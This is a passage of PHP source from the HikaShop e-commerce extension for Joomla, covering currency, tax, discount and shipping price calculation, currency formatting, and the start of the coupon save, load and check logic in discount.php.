					if(!in_array($key,array('price_currency_id','price_orig_currency_id','price_value_without_discount_with_tax','price_value_without_discount','taxes'))
&& isset($price->$key)){
						$total->$key = $total->$key + $price->$key;
					}
				}

				if(isset($price->taxes)){
					foreach($price->taxes as $tax){
						if(isset($total->taxes[$tax->tax_namekey])){
							$total->taxes[$tax->tax_namekey]->tax_amount +=
$tax->tax_amount;
						}else{
							$total->taxes[$tax->tax_namekey] = new stdClass();
							$total->taxes[$tax->tax_namekey]->tax_namekey =
$tax->tax_namekey;
							$total->taxes[$tax->tax_namekey]->tax_rate =
$tax->tax_rate;
							$total->taxes[$tax->tax_namekey]->tax_amount =
$tax->tax_amount;
						}
					}
				}

			}
		}

		if(isset($total->taxes)){
			$total_taxes = 0;
			foreach($total->taxes as $tax){
				$total_taxes += $tax->tax_amount;
			}
			$total->price_value_with_tax = $total->price_value +
$total_taxes;
		}
		if(is_null($order))$order = new stdClass();
		$order->prices = array($total);
	}

	function addAdditionals(&$rows, &$additional_total, $total,
$currency_id) {
		if(!HIKASHOP_PHP5){
			$additional_total = $total;
		} elseif(is_array($total->prices)) {
			if(empty($additional_total))
				$additional_total = new stdClass();
			$additional_total->prices = array(clone(reset($total->prices)));
		}
		foreach($rows as $k => $row) {

			if($row->price_currency_id != $currency_id) {
				continue;
			}
			if(!empty($additional_total->prices)){
				foreach($additional_total->prices as $k => $price) {
					if(isset($row->price_value)) {
						$additional_total->prices[$k]->price_value +=
$row->price_value;
					}
					if(isset($row->price_value_with_tax)) {
						$additional_total->prices[$k]->price_value_with_tax +=
$row->price_value_with_tax;
					}
				}
			}
		}
	}

	function pricesSelection(&$prices,$quantity){
		$matches=array();
		$otherCurrencies=array();
		if(!empty($prices)){
			foreach($prices as $k2 => $price){
				if($price->price_min_quantity>$quantity) continue;
				if(empty( $price->price_orig_currency_id)){
					$matches[]=$price;
				}else{
					$otherCurrencies[]=$price;
				}
			}
		}
		if(empty($matches) && !empty($otherCurrencies)){
			$config =& hikashop_config();
			$main_currency = (int)$config->get('main_currency',1);
			foreach($otherCurrencies as $price){
				if($price->price_orig_currency_id==$main_currency){
					$matches[]=$price;
				}
			}
			if(empty($matches)){
				$matches = $otherCurrencies;
			}
		}
		if(!empty($matches)){
			$tempMatches = array();
			$matchcount = 0;
			foreach($matches as $price){
				if($price->price_min_quantity==$quantity){
					$tempMatches[] = $price;
				}
			}
			if(count($tempMatches)){
				$matches = $tempMatches;
			}
		}
		$prices = $matches;
	}

	function calculateProductPriceForQuantity(&$product){
		if(isset($product->prices) && count($product->prices)){
			foreach($product->prices as $k => $price){
				if(isset($price->unit_price)){
					$product->prices[$k] = $price->unit_price;
				}
			}
		}
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$dispatcher->trigger(
'onBeforeCalculateProductPriceForQuantity', array( &$product)
);
		if(function_exists('hikashop_product_price_for_quantity_in_cart')){
			hikashop_product_price_for_quantity_in_cart($product);
		}else{
			if(isset($product->prices))
$this->quantityPrices($product->prices,@$product->cart_product_quantity,$product->cart_product_total_quantity);
		}

		$dispatcher->trigger(
'onAfterCalculateProductPriceForQuantity', array( &$product)
);
	}

	function quantityPrices(&$prices,$quantity,$total_quantity){
		$this->pricesSelection($prices,$total_quantity);
		$unitPrice = null;
		if(!empty($prices)){
			$unitPrice = reset($prices);
			if(count($prices)>1){
				$cheapest_value=$unitPrice->price_value;
				foreach($prices as $price){
					if($cheapest_value>$price->price_value){
						$unitPrice = $price;
						$cheapest_value = $price->price_value;
					}
				}
			}

			$this->quantityPrice($unitPrice,$quantity);
			$prices = array($unitPrice);
		}
	}


	function quantityPrice(&$price,$quantity){
		if($quantity>0){
			if($price === null || empty($price))
				$price = new stdClass();
			if(!isset($price->unit_price))
				$price->unit_price = new stdClass();
			$price->unit_price->price_currency_id =
$price->price_currency_id;
			$price->unit_price->price_min_quantity =
$price->price_min_quantity;
			$rounding = $this->getRounding($price->price_currency_id);
			if(isset($price->price_orig_currency_id)){
				$price->unit_price->price_orig_currency_id =
$price->price_orig_currency_id;
			}
			if(isset($price->price_value_without_discount)){
				$price->unit_price->price_value_without_discount=$this->_round($price->price_value_without_discount,$rounding);
				$price->price_value_without_discount=$this->_round($price->unit_price->price_value_without_discount*$quantity,$rounding);
			}
			if(isset($price->price_value)){
				$price->unit_price->price_value=$this->_round($price->price_value,$rounding);
				$price->price_value=$this->_round($price->unit_price->price_value*$quantity,$rounding);
			}
			if(isset($price->price_orig_value)){
				$price->unit_price->price_orig_value=$this->_round($price->price_orig_value,$rounding);
				$price->price_orig_value=$this->_round($price->unit_price->price_orig_value*$quantity,$rounding);
			}
			if(isset($price->price_orig_value_with_tax)){
				$price->unit_price->price_orig_value_with_tax=$this->_round($price->price_orig_value_with_tax,$rounding);
				$price->price_orig_value_with_tax=$this->_round($price->unit_price->price_orig_value_with_tax*$quantity,$rounding);
			}
			if(isset($price->price_orig_value_without_discount)){
				$price->unit_price->price_orig_value_without_discount=$this->_round($price->price_orig_value_without_discount,$rounding);
				$price->price_orig_value_without_discount=$this->_round($price->unit_price->price_orig_value_without_discount*$quantity,$rounding);
			}
			if(isset($price->price_value_without_discount_with_tax)){
				$price->unit_price->price_value_without_discount_with_tax=$this->_round($price->price_value_without_discount_with_tax,$rounding);
				$price->price_value_without_discount_with_tax=$this->_round($price->unit_price->price_value_without_discount_with_tax*$quantity,$rounding);
			}
			if(isset($price->price_value_with_tax)){
				$price->unit_price->price_value_with_tax=$this->_round($price->price_value_with_tax,$rounding);
				$price->price_value_with_tax=$this->_round($price->unit_price->price_value_with_tax*$quantity,$rounding);
			}

			if(isset($price->taxes)){
				$price->unit_price->taxes = array();
				foreach($price->taxes as $k => $tax){
					$price->unit_price->taxes[$k] = clone($tax);
					$price->taxes[$k]->tax_amount =
$this->_round(@$tax->tax_amount * $quantity,$rounding);
				}
			}
			if(isset($price->taxes_without_discount)){
				$price->unit_price->taxes_without_discount = array();
				foreach($price->taxes_without_discount as $k => $tax){
					$price->unit_price->taxes_without_discount[$k] = clone($tax);
					$price->taxes_without_discount[$k]->tax_amount =
$this->_round(@$tax->tax_amount * $quantity,$rounding);
				}
			}
		}
	}


	function
addDiscountToPrices(&$element,&$discounts,$discount_before_tax,$zone_id){
		if(is_array($element)){
			foreach($element as $k => $el){
				$this->addDiscountToPrices($element[$k],$discounts,$discount_before_tax,$zone_id);
			}
		}
		else{
			if(empty($element->discount) &&
!empty($element->prices)){
				$this->selectDiscount($element,$discounts,$zone_id);
				if(!empty($element->discount)){
					foreach($element->prices as $k=>$price){
						$this->addDiscount($element->prices[$k],$element->discount,$discount_before_tax,$zone_id,$element->product_tax_id);
					}
				}
			}
			if(!empty($element->variants)){
				foreach($element->variants as $k => $row){
					if(empty($row->discount) && !empty($row->prices)){
						$this->selectDiscount($element->variants[$k],$discounts,$zone_id);
						if(!empty($element->variants[$k]->discount)){
							foreach($row->prices as $k2=>$price){
								$this->addDiscount($element->variants[$k]->prices[$k2],$element->variants[$k]->discount,$discount_before_tax,$zone_id,$element->product_tax_id);
							}
						}
					}
				}
			}
		}
	}

	function updateRatesWithNewMainCurrency($old_currency,$new_currency){
		if($old_currency==$new_currency) return true;
		$ids = array($old_currency,$new_currency);
		$null=null;
		$currencies = $this->getCurrencies($ids,$null);
		if(empty($currencies[$old_currency])||empty($currencies[$new_currency]))
return true;
		$main_currency = 1/$currencies[$new_currency]->currency_rate;
		$query = 'UPDATE '.hikashop_table('currency').'
SET currency_rate=currency_rate*'.$main_currency;
		$this->database->setQuery($query);
		return $this->database->query();
	}

	function save(&$element){
		if(!empty($element->currency_id)){
			$old = $this->get($element->currency_id);
			if(@$old->currency_code!=@$element->currency_code){
				$app = JFactory::getApplication();
				$app->enqueueMessage('You changed the currency code from
'.@$old->currency_code.' to
'.@$element->currency_code.'. Note that payment plugins base
themseles on the currency code to see if they support or not the currency.
If you change that code to a non 3 letters code, that code won\'t be
understood by payment plugins and thus you won\'t see the on your
checkout with that currency. If you want to change the display of prices so
that it doesn\'t use the code but the symbol of the currency, please
change the format option of the currency and leave the default value in the
currency code.' );
			}
		}
		$element->currency_modified = time();
		return parent::save($element);
	}

	function
addDiscount(&$price,&$discount,$discount_before_tax,$zone_id,$product_tax_id){
		$price->price_value_without_discount=$price->price_value;
		if($discount_before_tax){
			if(bccomp($discount->discount_flat_amount,0,5)!==0){
				$price->price_value=$price->price_value-floatval($discount->discount_flat_amount);
			}else{
				$price->price_value=(($price->price_value
*(100.0-floatval($discount->discount_percent_amount)))/100.0);
				if(isset($price->price_orig_value)){
					$price->price_orig_value_without_discount=$price->price_orig_value;
					$price->price_orig_value=(($price->price_orig_value
*(100.0-floatval($discount->discount_percent_amount)))/100.0);
				}
			}
			$price->price_value_without_discount_with_tax =
$this->getTaxedPrice($price->price_value_without_discount,$zone_id,$product_tax_id);
			$price->taxes_without_discount = $this->taxRates;
			$price->price_value_with_tax =
$this->getTaxedPrice($price->price_value,$zone_id,$product_tax_id);
			$price->taxes = $this->taxRates;
			if(isset($price->price_orig_value)){
				$price->price_orig_value_with_tax =
$this->getTaxedPrice($price->price_orig_value,$zone_id,$product_tax_id);
				$price->taxes_orig = $this->taxRates;
			}

		}else{
			$price->price_value_without_discount_with_tax =
$price->price_value_with_tax;
			if(bccomp($discount->discount_flat_amount,0,5)!==0){
				$price->price_value_with_tax=$price->price_value_with_tax-floatval($discount->discount_flat_amount);
			}else{
				$price->price_value_with_tax=(($price->price_value_with_tax
*(100.0-floatval($discount->discount_percent_amount)))/100.0);
				if(isset($price->price_orig_value_with_tax)){
					$price->price_orig_value_without_discount_with_tax=$price->price_orig_value_with_tax;
					$price->price_orig_value_with_tax=(($price->price_orig_value_with_tax
*(100.0-floatval($discount->discount_percent_amount)))/100.0);
				}
			}
			$price->price_value_without_discount =
$this->getUntaxedPrice($price->price_value_without_discount_with_tax,$zone_id,$product_tax_id);
			$price->taxes_without_discount = $this->taxRates;
			$price->price_value =
$this->getUntaxedPrice($price->price_value_with_tax,$zone_id,$product_tax_id);
			$price->taxes = $this->taxRates;
			if(isset($price->price_orig_value_with_tax)){
				$price->price_orig_value =
$this->getUntaxedPrice($price->price_orig_value_with_tax,$zone_id,$product_tax_id);
				$price->taxes_orig = $this->taxRates;
			}

		}
	}

	function getRounding($currency_id){
		if(empty($currency_id)){
			$round = 2;
		}else{
			$array = null;
			$currencies = $this->getCurrencies($currency_id,$array);
			$currency = $currencies[$currency_id];
			$round =
(int)$currency->currency_locale['int_frac_digits'];
		}
		return $round;
	}

	function
addCoupon(&$prices,&$discount,$products=null,$id=array()){

		$config =& hikashop_config();
		$discount_before_tax = $config->get('discount_before_tax');

		foreach($prices->prices as $k => $price){
			if(isset($prices->prices[$k]->price_value_without_discount_with_tax)
&&
$prices->prices[$k]->price_value_without_discount_with_tax>0)
continue;

			if(isset($price->taxes)){
				$price->taxes_without_discount = array();
				foreach($price->taxes as $namekey => $tax){
					$price->taxes_without_discount[$namekey] = clone($tax);
				}
			}

			$prices->prices[$k]->price_value_without_discount_with_tax =
$price->price_value_with_tax;

				$round =
$this->getRounding(@$prices->prices[$k]->price_currency_id);
				$zone_id = hikashop_getZone();
				if(bccomp($discount->discount_flat_amount,0,5)!==0){
					$discount->discount_value_without_tax =
$discount->discount_flat_amount_without_tax =
$discount->discount_flat_amount;
					if($discount_before_tax){
						$untaxed = $discount->discount_flat_amount;
						$discount->discount_flat_amount =
$this->getTaxedPrice($discount->discount_flat_amount,$zone_id,$discount->discount_tax_id,$round);
						$discount->taxes = array();
						foreach($price->taxes as $namekey => $tax){
							$discount->taxes[$namekey] = clone($tax);
							$discount->taxes[$namekey]->tax_amount=$untaxed*$tax->tax_rate;
							$price->taxes[$namekey]->tax_amount =
$tax->tax_amount-$discount->taxes[$namekey]->tax_amount;
						}
					}else{

					}
					$prices->prices[$k]->price_value_with_tax =
$price->price_value_with_tax-floatval($discount->discount_flat_amount);
				}elseif(bccomp($discount->discount_percent_amount,0,5)!==0){
					if($discount_before_tax){
						$discount->discount_value_without_tax =
$discount->discount_percent_amount_calculated_without_tax =
$discount->discount_percent_amount_calculated =
($price->price_value*floatval($discount->discount_percent_amount)/100.0);
						$discount->discount_percent_amount_calculated = 0.0;
						if($price->price_value_with_tax != 0.0)
							$discount->discount_percent_amount_calculated =
$price->price_value_with_tax *
$discount->discount_percent_amount_calculated_without_tax /
$price->price_value_with_tax;
					}else{
						$discount->discount_value_without_tax =
$discount->discount_percent_amount_calculated_without_tax =
$discount->discount_percent_amount_calculated =
($price->price_value_with_tax*floatval($discount->discount_percent_amount)/100.0);
					}
					$discount->discount_percent_amount_calculated =
$this->getTaxedPrice($discount->discount_percent_amount_calculated,$zone_id,$discount->discount_tax_id,$round);
					$discount->taxes = array();
					foreach($price->taxes as $namekey => $tax){
						$discount->taxes[$namekey] = clone($tax);
						$discount->taxes[$namekey]->tax_amount=$discount->taxes[$namekey]->tax_amount*floatval($discount->discount_percent_amount)/100.0;
						$price->taxes[$namekey]->tax_amount =
$price->taxes[$namekey]->tax_amount -
$discount->taxes[$namekey]->tax_amount;
					}
					$prices->prices[$k]->price_value_with_tax=$price->price_value_with_tax-$discount->discount_percent_amount_calculated;
					if(isset($price->price_orig_value_with_tax)){
						$prices->prices[$k]->price_orig_value_without_discount_with_tax=$price->price_orig_value_with_tax;
						$discount->discount_orig_percent_amount_calculated_without_tax =
$discount->discount_orig_percent_amount_calculated =
($price->price_orig_value_with_tax*floatval($discount->discount_percent_amount)/100.0);
						$discount->discount_orig_percent_amount_calculated =
$this->getTaxedPrice($discount->discount_orig_percent_amount_calculated,$zone_id,$discount->discount_tax_id,$round);
						$prices->prices[$k]->price_orig_value_with_tax=$price->price_orig_value_with_tax-$discount->discount_orig_percent_amount_calculated;
					}
				}else{
					$discount->discount_value_without_tax = 0;
				}
				$discount->discount_value =
$prices->prices[$k]->price_value_without_discount_with_tax-$prices->prices[$k]->price_value_with_tax;

			$prices->prices[$k]->price_value_without_discount=$price->price_value;
			$prices->prices[$k]->price_value=$price->price_value-$discount->discount_value_without_tax;

		}
	}

	function &addShipping(&$shippings, &$ref_total) {
		if(!HIKASHOP_PHP5){
			$total = &$ref_total;
		} else {
			$total = new stdClass();
			$total->prices = array(clone(reset($ref_total->prices)));
		}
		foreach($total->prices as $k => $price) {
			$total->prices[$k]->price_value_without_shipping_with_tax =
$price->price_value_with_tax;
			$total->prices[$k]->price_value_without_shipping =
$price->price_value;
		}
		foreach($shippings as &$shipping) {
			if(empty($shipping->shipping_price_with_tax) ||
bccomp($shipping->shipping_price_with_tax, 0, 5) === 0)
				continue;

			foreach($total->prices as $k => $price) {
				$total->prices[$k]->price_value_with_tax +=
floatval($shipping->shipping_price_with_tax);
				$total->prices[$k]->price_value += $shipping->shipping_price;
				if($shipping->shipping_price_with_tax !=
$shipping->shipping_price) {
					if(!isset($shipping->taxes) &&
isset($total->prices[$k]->taxes) &&
is_array($total->prices[$k]->taxes)) {
						$shipping->taxes = array();
						$tax = reset($total->prices[$k]->taxes);
						if(is_object($tax)) {
							$shipping->taxes[$tax->tax_namekey] = clone($tax);
						}
						$shipping->taxes[$tax->namekey]->tax_amount =
$shipping->shipping_price_with_tax - $shipping->shipping_price;
					}
					if(isset($shipping->taxes)) {
						foreach($shipping->taxes as $tax){
							if(isset($total->prices[$k]->taxes[$tax->tax_namekey])) {
								$total->prices[$k]->taxes[$tax->tax_namekey]->tax_amount
+= $tax->tax_amount;
							} else {
								$total->prices[$k]->taxes[$tax->tax_namekey] =
clone($tax);
							}
						}
					}
				}
			}
		}
		return $total;
	}

	function addPayment(&$payment,&$total){
		if(!HIKASHOP_PHP5){
			$payment->total = $total;
		}else{
			$price = reset($total->prices);
			if(is_null($price)) $price = new stdClass();
			if(!isset($payment->total) || is_null($payment->total))
$payment->total = new stdClass();
			$payment->total->prices = array(clone($price));
		}
		if(isset($payment->total->prices[0]->price_value_without_payment))
return true;

		foreach($payment->total->prices as $k => $price){
			$payment->total->prices[$k]->price_value_without_payment=$price->price_value;
			$payment->total->prices[$k]->price_value_without_payment_with_tax=$price->price_value_with_tax;

			$payment->total->prices[$k]->price_value=$price->price_value+$payment->payment_price;
			$payment->total->prices[$k]->price_value_with_tax=$price->price_value_with_tax+$payment->payment_price;
		}
	}

	function processShippings(&$usable_rates) {
		if(!empty($usable_rates)) {
			$this->convertShippings($usable_rates);
			$zone_id = hikashop_getZone();
			foreach($usable_rates as $k => $rate) {
				$round = $this->getRounding(@$rate->shipping_currency_id);
				if(!empty($rate->shipping_tax_id) &&
bccomp($rate->shipping_price,0,5)){
					$usable_rates[$k]->shipping_price_with_tax =
$this->getTaxedPrice($rate->shipping_price,$zone_id,$rate->shipping_tax_id,$round);
					$usable_rates[$k]->taxes = $this->taxRates;
					if(isset($rate->shipping_price_orig) &&
bccomp($rate->shipping_price_orig,0,5)) {
						$usable_rates[$k]->shipping_price_orig_with_tax =
$this->getTaxedPrice($rate->shipping_price_orig,$zone_id,$rate->shipping_tax_id,$round);
						$usable_rates[$k]->taxes_orig = $this->taxRates;
					} else {
						$usable_rates[$k]->shipping_price_orig = 0.0;
						$usable_rates[$k]->shipping_price_orig_with_tax = 0.0;
					}
				} else {
					if(!is_object($usable_rates[$k])) $usable_rates[$k] = new stdClass();
					$usable_rates[$k]->shipping_price_with_tax =
(@$rate->shipping_price);
					$usable_rates[$k]->shipping_price_orig_with_tax =
(@$usable_rates[$k]->shipping_price_orig);
				}
			}

		}
	}

	function processPayments(&$usable_rates){
		if(!empty($usable_rates)){
			$this->convertPayments($usable_rates);
			foreach($usable_rates as $k => $rate){
				$round =
$this->getRounding((int)@$rate->payment_params->payment_currency);
				$usable_rates[$k]->payment_price = ($rate->payment_price);
			}
		}
	}

	function
addTax(&$prices,&$element,&$currency_ids,$zone_id,$product_tax_id){
		$element->prices = array();
		foreach($prices as $price){
			$currency_ids[$price->price_currency_id]=$price->price_currency_id;

			if($price->price_product_id==$element->product_id){
				$round = $this->getRounding($price->price_currency_id);
				$price->price_value_with_tax =
$this->getTaxedPrice($price->price_value,$zone_id,$product_tax_id,$round);
				$price->taxes = $this->taxRates;
				$element->prices[]=(!HIKASHOP_PHP5) ? $price : clone($price);
			}
		}
	}

	function
convertPrice(&$element,&$currencies,$currency_id,$main_currency){
		if(is_array($element)){
			foreach($element as $k => $row){
				$this->convertPrice($element[$k],$currencies,$currency_id,$main_currency);
			}
		}else{
			if(!empty($element->prices)){
				$this->convertPrices($element->prices,$currencies,$currency_id,$main_currency);
			}
			if(!empty($element->variants)){
				$this->convertPrice($element->variants,$currencies,$currency_id,$main_currency);
			}
			if(!empty($element->options)){
				$this->convertPrice($element->options,$currencies,$currency_id,$main_currency);
			}
		}
	}


	function format($number,$currency_id=0,$format_override='') {

		if(!$currency_id){
			$currency_id = $this->mainCurrency();
		}
		$null = null;
		$currencies = $this->getCurrencies($currency_id,$null);
		$data=$currencies[$currency_id];
		if(empty($format_override)){
			$format = $data->currency_format;
		}else{
			$format = $format_override;
		}
		$locale = $data->currency_locale;

		preg_match_all('/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?(?:#([0-9]+))?(?:\.([0-9]+))?([in%][in]?)/',
$format, $matches, PREG_SET_ORDER);
		foreach ($matches as $fmatch) {
			$value = (float)$number;
			$flags = array(
				'fillchar'  => preg_match('/\=(.)/', $fmatch[1],
$match) ? $match[1] : ' ',
				'nogroup'   => preg_match('/\^/', $fmatch[1])
> 0,
				'usesignal' => preg_match('/\+|\(/', $fmatch[1],
$match) ? $match[0] : '+',
				'nosimbol'  => preg_match('/\!/', $fmatch[1])
> 0,
				'isleft'	=> preg_match('/\-/', $fmatch[1]) >
0
			);
			$width	  = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
			$left	   = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
			$conversion = $fmatch[5];
			$right	  = trim($fmatch[4]) ? (int)$fmatch[4] : $locale[($conversion[0]
== 'i' ? 'int_' :
'').'frac_digits'];

			$positive = true;
			if ($value < 0) {
				$positive = false;
				$value  *= -1;
			}
			$letter = $positive ? 'p' : 'n';

			$prefix = $suffix = $cprefix = $csuffix = $signal = '';

			$signal = $positive ? $locale['positive_sign'] :
$locale['negative_sign'];
			switch (true) {
				case $locale["{$letter}_sign_posn"] == 1 &&
$flags['usesignal'] == '+':
					$prefix = $signal;
					break;
				case $locale["{$letter}_sign_posn"] == 2 &&
$flags['usesignal'] == '+':
					$suffix = $signal;
					break;
				case $locale["{$letter}_sign_posn"] == 3 &&
$flags['usesignal'] == '+':
					$cprefix = $signal;
					break;
				case $locale["{$letter}_sign_posn"] == 4 &&
$flags['usesignal'] == '+':
					$csuffix = $signal;
					break;
				case $flags['usesignal'] == '(':
				case $locale["{$letter}_sign_posn"] == 0:
					$prefix = '(';
					$suffix = ')';
					break;
			}
			if (!$flags['nosimbol']) {
				$currency = $cprefix .
							($conversion[0] == 'i' ? $data->currency_code :
$data->currency_symbol) .
							( isset($conversion[1]) ? ' '.( $conversion[1] ==
'i' ? $data->currency_code : $data->currency_symbol) :
'') .
							$csuffix;
			} else {
				$currency = '';
			}
			$space  = $locale["{$letter}_sep_by_space"] ? ' ' :
'';

			$value = $this->numberFormat($value, $right,
$locale['mon_decimal_point'],
					 $flags['nogroup'] ? '' :
$locale['mon_thousands_sep'],$locale['mon_grouping']);
			$value = @explode($locale['mon_decimal_point'], $value);

			$n = strlen($prefix) + strlen($currency) + strlen($value[0]);
			if ($left > 0 && $left > $n) {
				$value[0] = str_repeat($flags['fillchar'], $left - $n) .
$value[0];
			}
			$value = implode($locale['mon_decimal_point'], $value);
			if ($locale["{$letter}_cs_precedes"]) {
				$value = $prefix . $currency . $space . $value . $suffix;
			} else {
				$value = $prefix . $value . $space . $currency . $suffix;
			}
			if ($width > 0) {
				$value = str_pad($value, $width, $flags['fillchar'],
$flags['isleft'] ?
						 STR_PAD_RIGHT : STR_PAD_LEFT);
			}

			$format = str_replace($fmatch[0], $value, $format);
		}
		return $format;
	}

	function numberFormat  ($number  , $decimals = 2 , $dec_point =
'.' , $sep = ',', $grouping=3   ){
		if($decimals<0){
			$round = 0;
		}else{
			$round = $decimals;
		}
		$num = sprintf("%0.{$round}f",round($number,$decimals));
		$num = explode('.',$num);
		if(!is_array($grouping)){
			$grouping = array($grouping);
		}
		$size = strlen($num[0]);
		$currentGroup = 0;
		$groups = array();
		$loop_override=0;
			while ($size && $loop_override<5){
				$loop_override++;
				if(empty($grouping[$currentGroup])) $grouping[$currentGroup] = 3;
				if($size > $grouping[$currentGroup]){
					$groups[] = substr($num[0],-$grouping[$currentGroup]);
					$num[0] = substr($num[0],0,$size-($grouping[$currentGroup]));
					$size = strlen($num[0]);
					if(!empty($grouping[$currentGroup+1])) $currentGroup++;
				}else{
					$groups[] = $num[0];
					$size=0;
				}
			}
			if(!isset($sep[0]))$sep=',';
			$num[0] = implode($sep[0],array_reverse($groups));
			$num[0] = trim($num[0]);
			$num = implode($dec_point[0],$num);

			return $num;
	}


	function checkLocale(&$element){
		if(empty($element->currency_locale)){
			$element->currency_locale =	array(
					'mon_decimal_point' => ',',
					'mon_thousands_sep' => ' ',
					'positive_sign' => '',
					'negative_sign' => '-',
					'int_frac_digits' => 2,
					'frac_digits' => 2,
					'p_cs_precedes' => 0,
					'p_sep_by_space' => 1,
					'n_cs_precedes' => 0,
					'n_sep_by_space' => 1,
					'p_sign_posn' => 1,
					'n_sign_posn' => 1,
					'mon_grouping' => array('3')
				);
		}elseif(is_string($element->currency_locale)){
			$element->currency_locale =
unserialize($element->currency_locale);
			if(!empty($element->currency_locale['mon_grouping'])){
				$element->currency_locale['mon_grouping'] =
explode(',',$element->currency_locale['mon_grouping']);
			}
		}
	}
}
discount.php000064400000046476151160302610007121 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopDiscountClass extends hikashopClass{
	var $tables = array('discount');
	var $pkeys = array('discount_id');
	var $namekeys = array('');
	var $toggle =
array('discount_published'=>'discount_id');

	function saveForm(){
		$discount = new stdClass();
		$discount->discount_id = hikashop_getCID('discount_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['discount'] as $column => $value){
			hikashop_secureField($column);
			$discount->$column = strip_tags($value);
		}
		if(!empty($discount->discount_start)){
			$discount->discount_start=hikashop_getTime($discount->discount_start);
		}
		if(!empty($discount->discount_end)){
			$discount->discount_end=hikashop_getTime($discount->discount_end);
		}
		if(!empty($discount->discount_id) &&
!empty($discount->discount_code)){
			$query = 'SELECT discount_id FROM
'.hikashop_table('discount').' WHERE discount_code  =
'.$this->database->Quote($discount->discount_code).'
LIMIT 1';
			$this->database->setQuery($query);
			$res = $this->database->loadResult();
			if(!empty($res) && $res != $discount->discount_id){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_(
'DISCOUNT_CODE_ALREADY_USED' ), 'error');
				JRequest::setVar( 'fail', $discount  );
				return false;
			}
		}

		$status = $this->save($discount);
		if(!$status){
			JRequest::setVar( 'fail', $discount  );
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('DISCOUNT_CODE_ALREADY_USED'));
		}
		return $status;
	}

	function save(&$discount){
		if(empty($discount->discount_id)){
			if(empty($discount->discount_type) ||
($discount->discount_type=='coupon' &&
empty($discount->discount_code))){
				return false;
			}
			$new = true;
		}

		if(!empty($discount->discount_code)) $discount->discount_code =
trim($discount->discount_code);

		$do=true;
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		if(!empty($new)){
			$dispatcher->trigger( 'onBeforeDiscountCreate', array(
&$discount, & $do) );
		}else{
			$dispatcher->trigger( 'onBeforeDiscountUpdate', array(
&$discount, & $do) );
		}
		if(!$do) return false;

		$status = parent::save($discount);
		if($status){
			if(!empty($new)){
				$dispatcher->trigger( 'onAfterDiscountCreate', array(
&$discount) );
			}else{
				$dispatcher->trigger( 'onAfterDiscountUpdate', array(
&$discount) );
			}
		}
		return $status;
	}

	function delete(&$elements){
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do=true;
		$dispatcher->trigger( 'onBeforeDiscountDelete', array( &
$elements, & $do) );
		if(!$do){
			return false;
		}
		$status = parent::delete($elements);
		if($status){
			$dispatcher->trigger( 'onAfterDiscountDelete', array( &
$elements ) );
		}
		return $status;
	}

	function load($coupon){

		$do=true;
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$item = $dispatcher->trigger( 'onBeforeCouponLoad', array(
&$coupon, & $do) );
		if(!$do) return current($item);

		static $coupons = array();

		$coupon = trim($coupon);
		if(!isset($coupons[$coupon])){
			$filters =
array('discount_code='.$this->database->Quote($coupon),'discount_type=\'coupon\'','discount_published=1');
			$query = 'SELECT * FROM
'.hikashop_table('discount').' WHERE
'.implode(' AND ',$filters);
			$this->database->setQuery($query);
			$coupons[$coupon] = $this->database->loadObject();
		}
		return $coupons[$coupon];
	}

	function loadAndCheck($coupon_code, &$total, $zones, &$products,
$display_error = true) {
		$coupon = $this->load($coupon_code);
		return $this->check($coupon, $total, $zones, $products,
$display_error);
	}

	function check(&$coupon, &$total, $zones, &$products,
$display_error = true) {
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$error_message = '';
		$do = true;

		if(isset($coupon->discount_value)) {
			$coupon = $this->get($coupon->discount_id);
		}

		$dispatcher->trigger( 'onBeforeCouponCheck', array(
&$coupon,&$total,&$zones,&$products,&$display_error,
&$error_message, & $do) );
		if($do){
			$user = hikashop_get('class.user');
			$currency = hikashop_get('class.currency');
			if(empty($coupon)){
				$error_message = JText::_('COUPON_NOT_VALID');
			}elseif($coupon->discount_start>time()){
				$error_message = JText::_('COUPON_NOT_YET_USABLE');
			}elseif($coupon->discount_end &&
$coupon->discount_end<time()){
				$error_message = JText::_('COUPON_EXPIRED');
			}else{
				if(hikashop_level(2)){
					if(!empty($coupon->discount_access)){
						$my = JFactory::getUser();
						if($coupon->discount_access != 'all' &&
($coupon->discount_access == 'none' || empty($my->id) ||
!hikashop_isAllowed($coupon->discount_access))){
							$error_message = JText::_('COUPON_NOT_FOR_YOU');
						}
					}
				}
				if(empty($error_message) && hikashop_level(1)){
					if(!empty($coupon->discount_quota) &&
$coupon->discount_quota<=$coupon->discount_used_times){
						$error_message = JText::_('QUOTA_REACHED_FOR_COUPON');
					}else{
						if(!empty($coupon->discount_quota_per_user)){
							$user_id = hikashop_loadUser();
							if($user_id){
								$db = JFactory::getDBO();
								$config =& hikashop_config();
								$cancelled_order_status =
explode(',',$config->get('cancelled_order_status'));
								$cancelled_order_status =
"'".implode("','",$cancelled_order_status)."'";
								$query = 'SELECT COUNT(order_id) AS already_used FROM
'.hikashop_table('order').' WHERE
order_user_id='.(int)$user_id.' AND order_status NOT IN
('.$cancelled_order_status.') AND
order_discount_code='.$db->Quote($coupon->discount_code).'
GROUP BY order_id';
								$db->setQuery($query);
								$already_used = $db->loadResult();
								if($coupon->discount_quota_per_user<=$already_used){
									$error_message = JText::_('QUOTA_REACHED_FOR_COUPON');
								}
							}
						}
						if(empty($error_message)){
							if($coupon->discount_zone_id){
								$class = hikashop_get('class.zone');
								$zone = $class->get($coupon->discount_zone_id);
								if(!in_array($zone->zone_namekey,$zones)){
									$error_message =
JText::_('COUPON_NOT_AVAILABLE_IN_YOUR_ZONE');
								}
							}
						}
						$ids = array();
